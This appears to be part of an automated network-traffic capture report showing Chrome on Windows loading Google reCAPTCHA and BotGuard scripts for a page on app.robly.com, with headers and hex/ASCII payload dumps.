2024-04-25 13:30:10 UTC	1255	IN	Data Raw: 71 67 4f 6d 32 39 76 73 6f 67 2d 49 4c 6a 2d 6f 75 7a 4b 6e 66 61 32 4b 65 5f 67 42 68 61 52 6d 6f 47 45 2d 67 45 4d 4a 76 38 2d 79 49 48 36 48 31 74 68 70 70 4b 39 59 59 73 5a 34 37 61 35 53 43 45 70 6c 4f 72 36 53 6e 4b 63 47 57 4e 43 4e 36 37 4a 5f 79 75 30 72 46 70 71 71 4a 32 33 46 4c 4c 6c 53 52 49 2d 52 4c 5a 41 34 51 36 4b 37 73 55 53 67 65 46 4d 4e 7a 41 68 54 5a 50 70 44 54 6c 46 2d 7a 72 31 46 30 63 30 70 77 74 69 54 6a 33 32 35 6a 45 4b 52 57 71 37 72 54 47 35 41 4e 36 5a 62 41 6a 4a 4b 45 47 4b 36 43 51 61 4d 76 7a 31 34 56 36 47 53 5f 33 6a 6e 75 41 50 66 52 53 35 4e 72 53 4c 4c 6f 32 77 54 78 5f 6d 39 69 77 70 61 50 61 6f 68 6d 70 70 65 6c 6a 58 75 65 49 66 53 31 6e 4e 52 7a 52 70 78 62 30 6d 30 52 31 53 65 51 58 46 32 43 70 4c 67 78 54 74 Data Ascii: qgOm29vsog-ILj-ouzKnfa2Ke_gBhaRmoGE-gEMJv8-yIH6H1thppK9YYsZ47a5SCEplOr6SnKcGWNCN67J_yu0rFpqqJ23FLLlSRI-RLZA4Q6K7sUSgeFMNzAhTZPpDTlF-zr1F0c0pwtiTj325jEKRWq7rTG5AN6ZbAjJKEGK6CQaMvz14V6GS_3jnuAPfRS5NrSLLo2wTx_m9iwpaPaohmppeljXueIfS1nNRzRpxb0m0R1SeQXF2CpLgxTt
2024-04-25 13:30:10 UTC	1255	IN	Data Raw: 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 75 4c 53 36 5a 6b 69 34 73 54 41 55 78 59 4f 46 79 6e 4d 6b 30 41 22 3e 0a 20 20 20 20 20 20 72 65 63 61 70 74 63 68 61 2e 61 6e 63 68 6f 72 2e 4d 61 69 6e 2e 69 6e 69 74 28 22 5b 5c 78 32 32 61 69 6e 70 75 74 5c 78 32 32 2c 5b 5c 78 32 32 62 67 64 61 74 61 5c 78 32 32 2c 5c 78 32 32 4c 79 39 33 64 33 63 75 5a 32 39 76 5a 32 78 6c 4c 6d 4e 76 62 53 39 71 63 79 39 69 5a 79 39 73 61 31 52 59 63 54 51 35 57 55 63 31 58 32 56 71 4d 58 63 33 62 54 52 55 4f 55 35 33 58 7a 46 4d 65 44 46 50 59 32 51 78 5a 33 52 6c 56 31 46 77 63 32 5a 57 58 31 52 72 4c 6d 70 7a 5c 78 32 32 2c 5c 78 32 32 5c 78 32 32 2c 5c 78 32 32 64 48 64 4a 57 54 4d 77 59 30 6c 4c 4b 33 56 54 65 6b 64 47 62 6b 52 68 57 6b 4a 49 54 Data Ascii: t/javascript" nonce="uLS6Zki4sTAUxYOFynMk0A"> recaptcha.anchor.Main.init("[\x22ainput\x22,[\x22bgdata\x22,\x22Ly93d3cuZ29vZ2xlLmNvbS9qcy9iZy9sa1RYcTQ5WUc1X2VqMXc3bTRUOU53XzFMeDFPY2QxZ3RlV1Fwc2ZWX1RrLmpz\x22,\x22\x22,\x22dHdJWTMwY0lLK3VTekdGbkRhWkJIT
2024-04-25 13:30:10 UTC	576	IN	Data Raw: 44 5a 4f 5a 57 39 42 55 6d 39 4f 55 33 6c 6c 51 6c 4e 74 59 6e 6c 6a 65 46 59 35 64 6b 6c 46 62 32 5a 59 52 6d 51 78 4d 31 70 6f 63 45 5a 6b 51 6c 70 50 65 6b 68 4b 53 54 64 6f 55 44 68 4f 53 32 39 4a 4e 6b 78 30 63 31 55 79 51 55 68 73 53 58 4e 56 62 6b 52 4f 56 30 35 56 5a 6b 4a 4b 5a 6c 55 30 5a 30 38 77 4f 47 6f 35 4e 33 42 4d 62 54 64 4a 61 57 56 54 52 45 74 58 52 30 39 61 57 56 55 79 62 6d 30 35 57 57 39 32 61 31 5a 4f 55 33 46 6a 4d 45 77 76 56 44 46 78 63 32 31 79 4d 6b 39 75 4d 45 4e 53 4e 56 6c 4c 64 32 45 32 61 79 74 4d 53 46 6c 56 64 33 67 30 57 6d 46 42 52 46 6c 30 4d 48 70 78 56 58 49 72 56 47 74 72 51 30 70 4b 52 47 52 46 63 56 42 34 64 44 55 72 5a 48 4a 36 61 32 70 48 59 56 52 73 4b 31 4e 4e 59 32 6c 7a 57 55 70 5a 61 54 6c 69 51 6c 6c 4a Data Ascii: DZOZW9BUm9OU3llQlNtYnljeFY5dklFb2ZYRmQxM1pocEZkQlpPekhKSTdoUDhOS29JNkx0c1UyQUhsSXNVbkROV05VZkJKZlU0Z08wOGo5N3BMbTdJaWVTREtXR09aWVUybm05WW92a1ZOU3FjMEwvVDFxc21yMk9uMENSNVlLd2E2aytMSFlVd3g0WmFBRFl0MHpxVXIrVGtrQ0pKRGRFcVB4dDUrZHJ6a2pHYVRsK1NNY2lzWUpZaTliQllJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49726	172.253.124.147	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:12 UTC	843	OUT	GET /recaptcha/api2/webworker.js?hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlqHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: worker Referer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6Ld9XlUUAAAAABcR5houwBXwlA_3STKsG2SzYCVw&co=aHR0cHM6Ly9hcHAucm9ibHkuY29tOjQ0Mw..&hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&size=invisible&cb=p8li93kl222n Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:12 UTC	655	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Expires: Thu, 25 Apr 2024 13:30:12 GMT Date: Thu, 25 Apr 2024 13:30:12 GMT Cache-Control: private, max-age=300 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-25 13:30:12 UTC	108	IN	Data Raw: 36 36 0d 0a 69 6d 70 6f 72 74 53 63 72 69 70 74 73 28 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 56 36 5f 38 35 71 70 63 32 58 66 32 73 62 65 33 78 54 6e 52 74 65 37 6d 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 29 3b 0d 0a Data Ascii: 66importScripts('https://www.gstatic.com/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/recaptcha__en.js');
2024-04-25 13:30:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49728	172.253.124.147	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:12 UTC	831	OUT	GET /js/bg/lkTXq49YG5_ej1w7m4T9Nw_1Lx1Ocd1gteWQpsfV_Tk.js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlqHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6Ld9XlUUAAAAABcR5houwBXwlA_3STKsG2SzYCVw&co=aHR0cHM6Ly9hcHAucm9ibHkuY29tOjQ0Mw..&hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&size=invisible&cb=p8li93kl222n Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:12 UTC	811	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/botguard-scs Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="botguard-scs" Report-To: {"group":"botguard-scs","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/botguard-scs"}]} Content-Length: 18268 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 24 Apr 2024 22:14:34 GMT Expires: Thu, 24 Apr 2025 22:14:34 GMT Cache-Control: public, max-age=31536000 Last-Modified: Tue, 16 Apr 2024 13:30:00 GMT Content-Type: text/javascript Vary: Accept-Encoding Age: 54938 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-25 13:30:12 UTC	444	IN	Data Raw: 2f 2a 20 41 6e 74 69 2d 73 70 61 6d 2e 20 57 61 6e 74 20 74 6f 20 73 61 79 20 68 65 6c 6c 6f 3f 20 43 6f 6e 74 61 63 74 20 28 62 61 73 65 36 34 29 20 59 6d 39 30 5a 33 56 68 63 6d 51 74 59 32 39 75 64 47 46 6a 64 45 42 6e 62 32 39 6e 62 47 55 75 59 32 39 74 20 2a 2f 20 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 66 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 29 7b 69 66 28 21 28 4e 3d 28 52 3d 65 2e 74 72 75 73 74 65 64 54 79 70 65 73 2c 6e 75 6c 6c 29 2c 52 29 7c 7c 21 52 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 29 72 65 74 75 72 6e 20 4e 3b 74 72 79 7b 4e 3d 52 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 22 62 67 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 70 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 70 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 70 7d Data Ascii: /* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t */ (function(){var f=function(R,N){if(!(N=(R=e.trustedTypes,null),R)\|\|!R.createPolicy)return N;try{N=R.createPolicy("bg",{createHTML:p,createScript:p,createScriptURL:p}
2024-04-25 13:30:12 UTC	1255	IN	Data Raw: 65 61 74 65 53 63 72 69 70 74 28 50 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 50 29 7b 72 65 74 75 72 6e 22 22 2b 50 7d 7d 28 65 29 28 41 72 72 61 79 28 37 38 32 34 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 7c 30 29 2e 6a 6f 69 6e 28 22 5c 6e 22 29 2b 5b 27 28 66 75 6e 63 74 69 6f 6e 28 29 7b 2f 2a 27 2c 0a 27 27 2c 0a 27 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 27 2c 0a 27 2a 2f 27 2c 0a 27 76 61 72 20 52 65 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 29 7b 72 65 74 75 72 6e 20 52 5b 4e 5d 3c 3c 32 34 7c 52 5b 28 4e 7c 30 29 2b 31 5d 3c 3c 31 36 7c 52 5b 28 4e 7c 30 29 2b 32 5d 3c 3c 38 7c 52 5b 28 4e 7c 30 29 2b 33 5d 7d 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 2c 70 29 7b 69 66 28 34 33 38 3d Data Ascii: eateScript(P)}:function(P){return""+P}}(e)(Array(7824Math.random()\|0).join("\n")+['(function(){/','',' SPDX-License-Identifier: Apache-2.0','*/','var Re=function(R,N){return R[N]<<24\|R[(N\|0)+1]<<16\|R[(N\|0)+2]<<8\|R[(N\|0)+3]},d=function(R,N,p){if(438=
2024-04-25 13:30:12 UTC	1255	IN	Data Raw: 67 5b 77 5d 2c 52 29 3b 72 65 74 75 72 6e 20 4e 7d 2c 63 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 29 7b 66 6f 72 28 4e 3d 5b 5d 3b 52 2d 2d 3b 29 4e 2e 70 75 73 68 28 32 35 35 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 7c 30 29 3b 72 65 74 75 72 6e 20 4e 7d 2c 5a 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 29 7b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 28 4e 3d 4e 2e 58 5b 52 5d 2c 4e 29 29 74 68 72 6f 77 5b 4d 2c 33 30 2c 52 5d 3b 69 66 28 4e 2e 76 61 6c 75 65 29 72 65 74 75 72 6e 20 4e 2e 63 72 65 61 74 65 28 29 3b 72 65 74 75 72 6e 28 4e 2e 63 72 65 61 74 65 28 33 2a 52 2a 52 2b 32 31 2a 52 2b 2d 33 34 29 2c 4e 29 2e 70 72 6f 74 6f 74 79 70 65 7d 2c 50 52 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 2c 70 2c 65 2c 77 2c 54 2c 6b 2c 50 29 7b 72 65 74 75 72 6e 20 50 3d 28 Data Ascii: g[w],R);return N},c=function(R,N){for(N=[];R--;)N.push(255Math.random()\|0);return N},Z=function(R,N){if(void 0===(N=N.X[R],N))throw[M,30,R];if(N.value)return N.create();return(N.create(3RR+21R+-34),N).prototype},PR=function(R,N,p,e,w,T,k,P){return P=(
2024-04-25 13:30:12 UTC	1255	IN	Data Raw: 2e 67 69 3d 66 2c 32 5d 5d 2c 66 29 3c 3c 33 29 2d 34 3b 74 72 79 7b 54 2e 63 4f 3d 74 41 28 52 65 28 54 2c 28 66 7c 30 29 2b 34 29 2c 52 65 28 54 2c 66 29 2c 79 29 7d 63 61 74 63 68 28 61 29 7b 74 68 72 6f 77 20 61 3b 7d 7d 54 2e 70 75 73 68 28 54 2e 63 4f 5b 50 26 37 5d 5e 6b 29 7d 2c 77 3d 5a 28 35 39 2c 4e 29 29 3a 52 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 54 2e 70 75 73 68 28 6b 29 7d 2c 65 26 26 52 28 65 26 32 35 35 29 2c 4e 3d 70 2e 6c 65 6e 67 74 68 2c 65 3d 30 3b 65 3c 4e 3b 65 2b 2b 29 52 28 70 5b 65 5d 29 7d 2c 45 2c 56 30 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 2c 70 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 28 70 3d 74 79 70 65 6f 66 20 52 2c 70 29 29 69 66 28 52 29 7b 69 66 28 52 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 29 72 65 Data Ascii: .gi=f,2]],f)<<3)-4;try{T.cO=tA(Re(T,(f\|0)+4),Re(T,f),y)}catch(a){throw a;}}T.push(T.cO[P&7]^k)},w=Z(59,N)):R=function(k){T.push(k)},e&&R(e&255),N=p.length,e=0;e<N;e++)R(p[e])},E,V0=function(R,N,p){if("object"==(p=typeof R,p))if(R){if(R instanceof Array)re
2024-04-25 13:30:12 UTC	1255	IN	Data Raw: 37 2c 28 4b 28 33 33 36 2c 52 2c 28 4b 28 34 38 35 2c 28 4b 28 28 64 28 35 35 2c 52 2c 28 4b 28 28 64 28 28 64 28 35 30 33 2c 52 2c 28 4b 28 31 32 37 2c 28 64 28 32 39 38 2c 52 2c 63 28 28 4b 28 34 31 38 2c 52 2c 28 4b 28 33 37 2c 52 2c 28 64 28 28 64 28 33 30 31 2c 52 2c 28 64 28 31 36 37 2c 28 4b 28 28 64 28 35 39 2c 52 2c 5b 30 2c 28 4b 28 31 37 31 2c 52 2c 28 4b 28 32 35 2c 28 4b 28 31 31 37 2c 28 4b 28 31 35 33 2c 52 2c 28 64 28 31 36 33 2c 52 2c 28 64 28 33 33 31 2c 28 64 28 34 33 38 2c 52 2c 28 52 2e 61 79 3d 28 4e 3d 28 28 52 2e 57 4f 3d 32 35 2c 52 29 2e 53 3d 28 52 2e 50 3d 5b 5d 2c 28 52 2e 54 3d 28 52 2e 6a 3d 66 61 6c 73 65 2c 52 29 2c 52 29 2e 4c 43 3d 30 2c 52 2e 5a 3d 28 28 28 28 52 2e 73 3d 30 2c 52 2e 59 3d 76 6f 69 64 20 30 2c 52 2e 42 Data Ascii: 7,(K(336,R,(K(485,(K((d(55,R,(K((d((d(503,R,(K(127,(d(298,R,c((K(418,R,(K(37,R,(d((d(301,R,(d(167,(K((d(59,R,[0,(K(171,R,(K(25,(K(117,(K(153,R,(d(163,R,(d(331,(d(438,R,(R.ay=(N=((R.WO=25,R).S=(R.P=[],(R.T=(R.j=false,R),R).LC=0,R.Z=((((R.s=0,R.Y=void 0,R.B
2024-04-25 13:30:12 UTC	1255	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 50 2c 66 2c 79 2c 61 29 7b 64 28 28 66 3d 28 61 3d 56 28 28 79 3d 56 28 50 29 2c 50 29 29 2c 56 29 28 50 29 2c 66 29 2c 50 2c 5a 28 79 2c 50 29 7c 7c 5a 28 61 2c 50 29 29 7d 29 2c 39 34 31 29 29 2c 34 34 29 2c 52 2c 72 29 2c 31 37 29 2c 52 2c 66 75 6e 63 74 69 6f 6e 28 50 2c 66 2c 79 2c 61 29 7b 21 58 28 66 2c 74 72 75 65 2c 66 61 6c 73 65 2c 50 29 26 26 28 66 3d 54 32 28 50 29 2c 61 3d 66 2e 73 52 2c 79 3d 66 2e 6e 43 2c 50 2e 54 3d 3d 50 7c 7c 61 3d 3d 50 2e 5a 55 26 26 79 3d 3d 50 29 26 26 28 64 28 66 2e 7a 73 2c 50 2c 61 2e 61 70 70 6c 79 28 79 2c 66 2e 67 29 29 2c 50 2e 41 3d 50 2e 4e 28 29 29 7d 29 2c 30 29 29 2c 35 30 38 29 2c 52 2c 66 75 6e 63 74 69 6f 6e 28 50 2c 66 2c 79 2c 61 2c 74 2c 47 2c 53 2c 43 2c 62 2c 42 2c 59 Data Ascii: function(P,f,y,a){d((f=(a=V((y=V(P),P)),V)(P),f),P,Z(y,P)\|\|Z(a,P))}),941)),44),R,r),17),R,function(P,f,y,a){!X(f,true,false,P)&&(f=T2(P),a=f.sR,y=f.nC,P.T==P\|\|a==P.ZU&&y==P)&&(d(f.zs,P,a.apply(y,f.g)),P.A=P.N())}),0)),508),R,function(P,f,y,a,t,G,S,C,b,B,Y
2024-04-25 13:30:12 UTC	1255	IN	Data Raw: 29 2c 50 29 29 2c 56 29 28 50 29 2c 5a 28 66 2c 50 29 29 2c 74 29 2c 50 29 2c 5a 28 53 2c 50 29 29 2c 79 3d 5a 28 79 2c 50 29 2c 53 29 29 29 7b 66 6f 72 28 61 20 69 6e 20 47 3d 5b 5d 2c 53 29 47 2e 70 75 73 68 28 61 29 3b 53 3d 47 7d 69 66 28 50 2e 54 3d 3d 50 29 66 6f 72 28 66 3d 30 3c 66 3f 66 3a 31 2c 50 3d 53 2e 6c 65 6e 67 74 68 2c 61 3d 30 3b 61 3c 50 3b 61 2b 3d 66 29 74 28 53 2e 73 6c 69 63 65 28 61 2c 28 61 7c 30 29 2b 28 66 7c 30 29 29 2c 79 29 7d 7d 29 2c 52 29 2e 48 4f 3d 30 2c 52 29 2c 66 75 6e 63 74 69 6f 6e 28 50 2c 66 2c 79 2c 61 29 7b 28 61 3d 56 28 28 79 3d 28 66 3d 56 28 50 29 2c 56 28 50 29 29 2c 50 29 29 2c 50 2e 54 3d 3d 50 29 26 26 28 79 3d 5a 28 79 2c 50 29 2c 61 3d 5a 28 61 2c 50 29 2c 5a 28 66 2c 50 29 5b 79 5d 3d 61 2c 32 34 37 Data Ascii: ),P)),V)(P),Z(f,P)),t),P),Z(S,P)),y=Z(y,P),S))){for(a in G=[],S)G.push(a);S=G}if(P.T==P)for(f=0<f?f:1,P=S.length,a=0;a<P;a+=f)t(S.slice(a,(a\|0)+(f\|0)),y)}}),R).HO=0,R),function(P,f,y,a){(a=V((y=(f=V(P),V(P)),P)),P.T==P)&&(y=Z(y,P),a=Z(a,P),Z(f,P)[y]=a,247
2024-04-25 13:30:12 UTC	1255	IN	Data Raw: 6e 5b 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4e 7d 2c 28 52 28 66 75 6e 63 74 69 6f 6e 28 70 29 7b 70 28 4e 29 7d 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 5d 7d 2c 72 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 49 65 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 2c 70 2c 65 29 7b 72 65 74 75 72 6e 20 5a 28 28 64 28 34 33 38 2c 52 2c 28 46 79 28 4e 2c 28 28 65 3d 5a 28 34 33 38 2c 52 29 2c 52 2e 50 29 26 26 65 3c 52 2e 73 3f 28 64 28 34 33 38 2c 52 2c 52 2e 73 29 2c 5a 65 28 52 2c 70 29 29 3a 64 28 34 33 38 2c 52 2c 70 29 2c 52 29 29 2c 65 29 29 2c 32 36 31 29 2c 52 29 7d 2c 4e 5f 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 2c 70 29 7b 72 65 74 75 72 6e 28 70 3d 6c 5b 4e 2e 57 5d 28 4e 2e 4f 52 29 2c 70 5b 4e 2e 57 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 Data Ascii: n[function(){return N},(R(function(p){p(N)}),function(){})]},r=this\|\|self,Ie=function(R,N,p,e){return Z((d(438,R,(Fy(N,((e=Z(438,R),R.P)&&e<R.s?(d(438,R,R.s),Ze(R,p)):d(438,R,p),R)),e)),261),R)},N_=function(R,N,p){return(p=l[N.W](N.OR),p[N.W]=function(){r
2024-04-25 13:30:12 UTC	1255	IN	Data Raw: 4e 5d 7c 30 29 2d 28 52 5b 28 28 4e 7c 30 29 2b 31 29 25 33 5d 7c 30 29 2d 28 65 7c 30 29 5e 28 31 3d 3d 4e 3f 65 3c 3c 70 3a 65 3e 3e 3e 70 29 7d 63 61 74 63 68 28 77 29 7b 74 68 72 6f 77 20 77 3b 7d 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 2c 70 2c 65 2c 77 2c 54 29 7b 69 66 28 21 70 2e 72 69 26 26 28 54 3d 76 6f 69 64 20 30 2c 4e 26 26 4e 5b 30 5d 3d 3d 3d 4d 26 26 28 54 3d 4e 5b 32 5d 2c 52 3d 4e 5b 31 5d 2c 4e 3d 76 6f 69 64 20 30 29 2c 65 3d 5a 28 31 37 32 2c 70 29 2c 30 3d 3d 65 2e 6c 65 6e 67 74 68 26 26 28 77 3d 5a 28 33 33 31 2c 70 29 3e 3e 33 2c 65 2e 70 75 73 68 28 52 2c 77 3e 3e 38 26 32 35 35 2c 77 26 32 35 35 29 2c 76 6f 69 64 20 30 21 3d 54 26 26 65 2e 70 75 73 68 28 54 26 32 35 35 29 29 2c 52 3d 22 22 2c 4e 26 26 28 4e 2e 6d 65 73 Data Ascii: N]\|0)-(R[((N\|0)+1)%3]\|0)-(e\|0)^(1==N?e<<p:e>>>p)}catch(w){throw w;}},n=function(R,N,p,e,w,T){if(!p.ri&&(T=void 0,N&&N[0]===M&&(T=N[2],R=N[1],N=void 0),e=Z(172,p),0==e.length&&(w=Z(331,p)>>3,e.push(R,w>>8&255,w&255),void 0!=T&&e.push(T&255)),R="",N&&(N.mes
2024-04-25 13:30:12 UTC	1255	IN	Data Raw: 2e 41 3d 54 3b 69 66 28 21 6b 7c 7c 54 2d 65 2e 43 3c 65 2e 42 4f 2d 28 70 3f 32 35 35 3a 4e 3f 35 3a 32 29 29 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 72 65 74 75 72 6e 20 65 2e 5a 3d 28 64 28 34 33 38 2c 28 70 3d 5a 28 28 65 2e 74 54 3d 52 2c 4e 29 3f 33 33 31 3a 34 33 38 2c 65 29 2c 65 29 2c 65 2e 73 29 2c 65 2e 56 2e 70 75 73 68 28 5b 69 47 2c 70 2c 4e 3f 52 2b 31 3a 52 2c 65 2e 44 2c 65 2e 6a 2c 65 2e 76 2c 65 2e 69 5d 29 2c 44 65 29 2c 74 72 75 65 7d 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 52 2c 4e 29 7b 4e 2e 42 3d 28 28 4e 2e 42 3f 4e 2e 42 2b 22 7e 22 3a 22 45 3a 22 29 2b 52 2e 6d 65 73 73 61 67 65 2b 22 3a 22 2b 52 2e 73 74 61 63 6b 29 2e 73 6c 69 63 65 28 30 2c 32 30 34 38 29 7d 2c 44 65 3d 72 2e 72 65 71 75 65 73 74 49 64 6c 65 43 61 6c 6c 62 61 63 Data Ascii: .A=T;if(!k\|\|T-e.C<e.BO-(p?255:N?5:2))return false;return e.Z=(d(438,(p=Z((e.tT=R,N)?331:438,e),e),e.s),e.V.push([iG,p,N?R+1:R,e.D,e.j,e.v,e.i]),De),true},H=function(R,N){N.B=((N.B?N.B+"~":"E:")+R.message+":"+R.stack).slice(0,2048)},De=r.requestIdleCallbac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49732	172.253.124.147	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:13 UTC	864	OUT	GET /recaptcha/api2/bframe?hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&k=6Ld9XlUUAAAAABcR5houwBXwlA_3STKsG2SzYCVw HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlqHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://app.robly.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:13 UTC	891	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Apr 2024 13:30:13 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-HalZjtY5tg84BMERhPdIrw' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-25 13:30:13 UTC	364	IN	Data Raw: 31 64 31 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 